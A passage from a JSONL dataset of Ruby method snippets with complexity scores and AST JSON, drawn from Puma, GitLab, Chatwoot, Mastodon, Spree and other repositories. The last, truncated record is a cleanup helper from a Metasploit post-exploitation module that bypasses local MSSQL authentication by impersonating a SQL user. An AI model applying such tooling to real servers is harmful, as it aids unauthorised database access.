type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Server\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mini_ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"Context\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mini_ctx\"]},\"key=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHAIN_DIR\"]}]},{\"type\":\"str\",\"children\":[\"/cert.key\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mini_ctx\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"add_ssl_listener\",{\"type\":\"const\",\"children\":[null,\"HOST\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"mini_ctx\"]}]}]},\"addr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"run\"]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"new_socket\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"send\",\"children\":[null,\"new_ctx\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subj_chain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"peer_cert_chain\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subj_map\",{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USE_TO_UTFT8\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subj_chain\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subj\"]},\"to_utf8\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CN=(.+ - )?([^,]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subj_chain\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subj\"]},\"to_s\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Name\"]},\"RFC2253\"]}]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CN=(.+ - )?([^,]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"stop\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test.puma.localhost\"]},{\"type\":\"str\",\"children\":[\"intermediate.puma.localhost\"]},{\"type\":\"str\",\"children\":[\"ca.puma.localhost\"]}]},{\"type\":\"lvar\",\"children\":[\"subj_map\"]}]}]}]}","id":"02c2837a-6aa6-4ea0-b686-44adbd1accf9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/lead_finder_service.rb","start_line":31,"raw_source":"def find_by_phone_number(contact)\n    return if contact.phone_number.blank?\n\n    lead_data = Crm::Leadsquared::Mappers::ContactMapper.map(contact)\n\n    return if lead_data.blank? || lead_data['Mobile'].nil?\n\n    search_by_field(lead_data['Mobile'])\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_phone_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"phone_number\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"lead_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Crm\"]},\"Leadsquared\"]},\"Mappers\"]},\"ContactMapper\"]},\"map\",{\"type\":\"lvar\",\"children\":[\"contact\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lead_data\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lead_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Mobile\"]}]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"search_by_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lead_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Mobile\"]}]}]}]}]}","id":"3d899249-b66b-41d7-bb56-d99e6df150fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb","start_line":59,"raw_source":"def lock_writes_on_table(connection, table_name)\n          database_name = Gitlab::Database.db_config_name(connection)\n          LockWritesManager.new(\n            table_name: table_name,\n            connection: connection,\n            database_name: database_name,\n            with_retries: !connection.transaction_open?,\n            logger: Logger.new($stdout)\n          ).lock_writes\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_writes_on_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"database_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_name\",{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LockWritesManager\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_name\"]},{\"type\":\"lvar\",\"children\":[\"database_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_retries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"transaction_open?\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]}]}]},\"lock_writes\"]}]}]}","id":"3964f93a-8de1-46da-8bf8-75f14cf94a7c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/tag.rb","start_line":31,"raw_source":"def extract_signature_lazily(repository, tag_id)\n          # Return the default empty signature data in case of timeouts\n          BatchLoader.for(tag_id).batch(key: repository, default_value: [+''.b, +''.b]) do |tag_ids, loader, args|\n            batch_signature_extraction(args[:key], tag_ids).each do |tag_id, signature_data|\n              loader.call(tag_id, signature_data)\n            end\n          rescue GRPC::DeadlineExceeded => e\n            Gitlab::ErrorTracking.log_exception(e)\n          end\n        end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_signature_lazily\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"tag_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"tag_id\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"b\"]},\"+@\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"b\"]},\"+@\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_ids\"]},{\"type\":\"arg\",\"children\":[\"loader\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_signature_extraction\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"tag_ids\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_id\"]},{\"type\":\"arg\",\"children\":[\"signature_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"tag_id\"]},{\"type\":\"lvar\",\"children\":[\"signature_data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"DeadlineExceeded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"log_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}","id":"6f604b47-8d50-4b01-85b7-cdca71b2f6d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/job/iterable.rb","start_line":242,"raw_source":"def assert_enumerator!(enum)\n        unless enum.is_a?(Enumerator)\n          raise ArgumentError, <<~MSG\n            #build_enumerator must return an Enumerator, but returned #{enum.class}.\n            Example:\n              def build_enumerator(params, cursor:)\n                active_record_records_enumerator(\n                  Shop.find(params[\"shop_id\"]).products,\n                  cursor: cursor\n                )\n              end\n          MSG\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_enumerator!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"enum\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Enumerator\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#build_enumerator must return an Enumerator, but returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"str\",\"children\":[\"Example:\\n\"]},{\"type\":\"str\",\"children\":[\"  def build_enumerator(params, cursor:)\\n\"]},{\"type\":\"str\",\"children\":[\"    active_record_records_enumerator(\\n\"]},{\"type\":\"str\",\"children\":[\"      Shop.find(params[\\\"shop_id\\\"]).products,\\n\"]},{\"type\":\"str\",\"children\":[\"      cursor: cursor\\n\"]},{\"type\":\"str\",\"children\":[\"    )\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]}]}]}]}]}","id":"dcc6fbe1-7b02-416a-ae8c-3e19c656f637"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1397,"raw_source":"def merged_result_pipeline?\n      merge_request? && target_sha.present?\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"merged_result_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_sha\"]},\"present?\"]}]}]}","id":"ba976708-4d4d-4b2b-9ba6-6350065ad994"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/database/mark_migration_service.rb","start_line":10,"raw_source":"def execute\n      return error(reason: :not_found) unless migration.present?\n      return error(reason: :invalid) if all_versions.include?(migration.version)\n\n      if create_version(version)\n        ServiceResponse.success\n      else\n        error(reason: :invalid)\n      end\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_versions\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"version\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_version\",{\"type\":\"send\",\"children\":[null,\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]}]}]}","id":"0b94fcfa-ea8e-4891-a974-efa9670b2081"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_import/start_import_service.rb","start_line":51,"raw_source":"def build_jira_import\n      label = create_import_label(project)\n      project.jira_imports.build(\n        user: user,\n        label: label,\n        jira_project_key: jira_project_key,\n        # we do not have the jira_project_name or jira_project_xid yet so just set a mock value,\n        # we will once https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28190\n        jira_project_name: jira_project_key,\n        jira_project_xid: 0\n      )\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_jira_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"create_import_label\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"jira_imports\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jira_project_key\"]},{\"type\":\"send\",\"children\":[null,\"jira_project_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jira_project_name\"]},{\"type\":\"send\",\"children\":[null,\"jira_project_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jira_project_xid\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"c3aee7a3-cdf9-4a63-9799-e78ddd83fe13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/verified_namespace.rb","start_line":21,"raw_source":"def self.for_project(project)\n      find_by(namespace: project.root_namespace)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"for_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"root_namespace\"]}]}]}]}]}","id":"2b66a577-8120-4cc3-89fe-3a7db0841a2a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/scm/create_local_repository_job.rb","start_line":96,"raw_source":"def config\n    @config ||= repository.class.scm_config\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"class\"]},\"scm_config\"]}]}]}","id":"39e265c2-f578-43eb-816f-7ca8154ee9bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":295,"raw_source":"def select_element(name, value)\n        element = find_element(name)\n\n        return if element.text == value\n\n        element.select value\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"text\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"select\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"0965f597-3a01-4ca2-93ce-38a11f4a091b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/admin_mailer.rb","start_line":78,"raw_source":"def set_instance\n    @instance = Rails.configuration.x.local_domain\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@instance\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]}]}]}","id":"fa1c779f-185b-4a99-81e9-2b04bcb7ad32"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/control_cli.rb","start_line":143,"raw_source":"def message(msg)\n      @stdout.puts msg unless @quiet\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiet\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stdout\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"103f6329-d81f-4d27-b637-482de5e4d0cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/formatter/graceful_formatter.rb","start_line":32,"raw_source":"def finished(inspected_files)\n        # See the note below why are using this ivar in the first place.\n        unless defined?(@total_offense_count)\n          raise <<~MESSAGE\n            RuboCop has changed its internals and the instance variable\n            `@total_offense_count` is no longer defined but we were relying on it.\n\n            Please change the implementation.\n\n            See https://github.com/rubocop/rubocop/blob/65a757b0f/lib/rubocop/formatter/simple_text_formatter.rb#L24\n          MESSAGE\n        end\n\n        super\n\n        # Internally, RuboCop has no notion of \"silenced offenses\". We cannot\n        # override this meaning in a formatter that's why we track what we\n        # consider to be an active offense.\n        # This is needed for `adjusted_exit_status` method below.\n        self.class.active_offenses = @total_offense_count\n\n        report_silenced_offenses(inspected_files)\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"finished\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inspected_files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_offense_count\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RuboCop has changed its internals and the instance variable\\n\"]},{\"type\":\"str\",\"children\":[\"`@total_offense_count` is no longer defined but we were relying on it.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Please change the implementation.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"See https://github.com/rubocop/rubocop/blob/65a757b0f/lib/rubocop/formatter/simple_text_formatter.rb#L24\\n\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"active_offenses=\",{\"type\":\"ivar\",\"children\":[\"@total_offense_count\"]}]},{\"type\":\"send\",\"children\":[null,\"report_silenced_offenses\",{\"type\":\"lvar\",\"children\":[\"inspected_files\"]}]}]}]}","id":"b4216c2d-6dbd-4933-9229-4ea358fed5aa"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/webhooks_base_service.rb","start_line":29,"raw_source":"def update_instagram_profile_link(user)\n    return unless user['username']\n\n    instagram_attributes = build_instagram_attributes(user)\n    @contact.update!(additional_attributes: @contact.additional_attributes.merge(instagram_attributes))\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_instagram_profile_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"instagram_attributes\",{\"type\":\"send\",\"children\":[null,\"build_instagram_attributes\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"additional_attributes\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"instagram_attributes\"]}]}]}]}]}]}]}","id":"4f184c66-3e8d-4d29-a20d-08109862c470"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/personal_access_token.rb","start_line":46,"raw_source":"def service_by_type\n        user = revocable.user\n        if user.project_bot?\n          resource_access_token_service\n        elsif user.human?\n          personal_access_token_service\n        else\n          raise ::Authn::AgnosticTokenIdentifier::UnsupportedTokenError, 'Unsupported personal access token type'\n        end\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"service_by_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"project_bot?\"]},{\"type\":\"send\",\"children\":[null,\"resource_access_token_service\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"human?\"]},{\"type\":\"send\",\"children\":[null,\"personal_access_token_service\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"AgnosticTokenIdentifier\"]},\"UnsupportedTokenError\"]},{\"type\":\"str\",\"children\":[\"Unsupported personal access token type\"]}]}]}]}]}]}","id":"be288fd0-1e96-4a2f-ad32-8065e4c7e9da"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/splitter/digital.rb","start_line":25,"raw_source":"def hash_to_packages(digitals)\n          packages = []\n          digitals.each do |_id, contents|\n            packages << build_package(contents)\n          end\n          packages\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_to_packages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"digitals\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packages\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digitals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_id\"]},{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_package\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"packages\"]}]}]}","id":"e82e258a-98a3-4fb2-a5c8-0c2d647cc1d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/mssql_local_auth_bypass.rb","start_line":109,"raw_source":"def remove_login(service, instance_name)\n    remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)\n\n    unless remove_status\n      raise 'Retry'\n    end\n  rescue RuntimeError => e\n    if e.message == 'Retry'\n      retry if impersonate_sql_user(service)\n    else\n      raise $ERROR_INFO\n    end\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"instance_name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remove_status\",{\"type\":\"send\",\"children\":[null,\"remove_sql_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_USERNAME\"]}]},{\"type\":\"lvar\",\"children\":[\"instance_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove_status\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Retry\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"childre